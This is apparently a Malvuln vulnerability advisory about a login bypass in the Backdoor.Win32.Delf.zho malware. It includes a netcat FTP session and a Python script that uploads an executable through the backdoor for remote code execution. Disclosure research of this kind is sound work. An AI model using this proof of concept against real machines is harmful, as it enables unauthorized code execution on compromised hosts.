Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/6b9f5a0512af3ab33c26eaa4bdf94f1f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Delf.zho
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21 and TCP ports 14920 to 14923. Third-party attackers who can reach the system can logon using any username/password combination. Attackers may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f
Vuln ID: MVID-2021-0205
Disclosure: 05/11/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,198,78).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
#Calculate port 198*256 + 78 = 50766
PORT=50766 
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.Delf.zho / Authentication Bypass RCE")
    print("MD5: 6b9f5a0512af3ab33c26eaa4bdf94f1f")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).